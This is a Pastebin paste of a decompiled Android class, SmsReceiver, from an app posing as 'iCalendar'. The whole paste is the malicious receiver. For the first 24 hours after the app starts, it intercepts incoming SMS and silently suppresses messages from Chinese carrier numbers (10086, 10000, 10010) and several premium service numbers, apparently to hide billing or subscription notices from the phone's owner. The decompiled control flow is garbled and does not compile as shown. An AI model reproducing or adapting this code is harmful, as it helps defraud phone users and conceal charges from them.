Advertisement
0xroot

SmsReceiver.class

May 12th, 2011
823
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Java 1.85 KB | None | 0 0
  1. package com.mj.iCalendar;
  2.  
  3. import android.content.BroadcastReceiver;
  4. import android.content.Context;
  5. import android.content.Intent;
  6. import android.os.Bundle;
  7. import android.telephony.gsm.SmsMessage;
  8.  
  9. public class SmsReceiver extends BroadcastReceiver
  10. {
  11.   private static final String strRes = "android.provider.Telephony.SMS_RECEIVED";
  12.  
  13.   public void onReceive(Context paramContext, Intent paramIntent)
  14.   {
  15.     long l1 = System.currentTimeMillis();
  16.     long l2 = iCalendar.iStartTime;
  17.     long l3 = l1 - l2;
  18.     Object[] arrayOfObject;
  19.     SmsMessage[] arrayOfSmsMessage;
  20.     int i;
  21.     int k;
  22.     int m;
  23.     if ((paramIntent.getAction().equals("android.provider.Telephony.SMS_RECEIVED")) && (l3 <= 86400000L))
  24.     {
  25.       Bundle localBundle = paramIntent.getExtras();
  26.       if (localBundle != null)
  27.       {
  28.         arrayOfObject = (Object[])localBundle.get("pdus");
  29.         arrayOfSmsMessage = new SmsMessage[arrayOfObject.length];
  30.         i = 0;
  31.         int j = arrayOfObject.length;
  32.         if (i < j)
  33.           break label98;
  34.         k = arrayOfSmsMessage.length;
  35.         m = 0;
  36.       }
  37.     }
  38.     while (true)
  39.     {
  40.       if (m >= k)
  41.       {
  42.         return;
  43.         label98: SmsMessage localSmsMessage1 = SmsMessage.createFromPdu((byte[])arrayOfObject[i]);
  44.         arrayOfSmsMessage[i] = localSmsMessage1;
  45.         i += 1;
  46.         break;
  47.       }
  48.       SmsMessage localSmsMessage2 = arrayOfSmsMessage[m];
  49.       try
  50.       {
  51.         String str = localSmsMessage2.getDisplayOriginatingAddress();
  52.         if (("10086".equals(str)) || ("10000".equals(str)) || ("10010".equals(str)) || ("1066185829".equals(str)) || ("1066133".equals(str)) || ("106601412004".equals(str)))
  53.           abortBroadcast();
  54.         m += 1;
  55.       }
  56.       catch (Exception localException)
  57.       {
  58.         while (true)
  59.           abortBroadcast();
  60.       }
  61.     }
  62.   }
  63. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement